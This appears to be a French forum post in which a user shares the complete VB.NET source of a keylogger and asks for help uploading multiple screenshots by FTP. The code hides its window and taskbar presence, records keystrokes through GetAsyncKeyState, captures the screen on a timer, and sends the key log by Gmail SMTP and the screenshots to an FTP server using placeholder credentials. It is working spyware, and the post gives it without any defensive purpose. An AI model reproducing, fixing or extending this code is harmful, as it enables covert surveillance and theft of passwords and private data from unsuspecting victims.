VB problem avec UploadFile
salut salut tout le monde
j'ai fait un petit keylogger avec VB 2013 histoire de me faire la main ayant pas trouvé une solution pour pour envoyer les captures d'écran par mail.
j'ai opté pour la solution FTP et j'ai utilisé se code
Code:
My.Computer.Network.UploadFile("D:\Downloads\capture.bmp", "ftp://user1@ftp.somedomain.com/capture.bmp", "user1", "pass1", True, 500, FileIO.UICancelOption.DoNothing)
tu marche impeccablement jusqu'à quand j'ai essayé d'uploader une autre capture je suppose que la solution est renommer le fichier capture mais pour être honnête je me perds un peu :mouarf:
voila le code complet du keylogger
Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| Option Strict On
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
Private Sub tmrEmail_Tick(sender As Object, e As EventArgs) Handles tmrEmail.Tick
Try
Dim smtpserver As New SmtpClient
smtpserver.EnableSsl = True
smtpserver.Credentials = New Net.NetworkCredential("mymail@gmail.com", "pass")
smtpserver.Port = 587
smtpserver.Host = "smtp.gmail.com"
Dim mail As New MailMessage
mail = New MailMessage
mail.From = New MailAddress("mymail@gmail.com", "moi")
mail.To.Add("mymail@gmail.com")
mail.Subject = ("New Key Log Data")
mail.Body = txtLogs.Text
smtpserver.Send(mail)
Catch ex As Exception
Me.Close()
End Try
End Sub
Private Sub tmrKey_Tick(sender As Object, e As EventArgs) Handles tmrKey.Tick
Dim result As Integer
Dim key As String
Dim i As Integer
For i = 2 To 90
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
key = Chr(i)
If i = 13 Then key = vbNewLine
Exit For
End If
Next i
If key <> Nothing Then
If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
txtLogs.Text &= key
Else
txtLogs.Text &= key.ToLower
End If
End If
If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "V" Then
Me.Visible = True
End If
End Sub
Private Sub Form1_FormClosed(sender As Object, e As FormClosedEventArgs) Handles Me.FormClosed
txtLogs.Text &= vbNewLine & "Keylogger has been stopped at: " & Now & vbNewLine
End Sub
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load
Me.ShowIcon = False
Me.ShowInTaskbar = False
Me.Visible = False
txtLogs.Text &= vbNewLine & "Keylogger started at: " & Now & vbNewLine
End Sub
Private Sub txtLogs_TextChanged(sender As Object, e As EventArgs) Handles txtLogs.TextChanged
End Sub
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
Dim bounds As Rectangle
Dim screenshot As System.Drawing.Bitmap
Dim graph As Graphics
bounds = Screen.PrimaryScreen.Bounds
screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
graph = Graphics.FromImage(screenshot)
graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
PictureBox1.Image = screenshot
End Sub
Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
If (Me.PictureBox1.Image IsNot Nothing) Then
Me.PictureBox1.Image.Save("E:\\capture.bmp")
End If
End Sub
Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick
My.Computer.Network.UploadFile("E:\capture.bmp", "ftp://user1@ftp.somedomain.com/capture.bmp", "user1", "pass1", True, 500, FileIO.UICancelOption.DoNothing)
End Sub
End Class |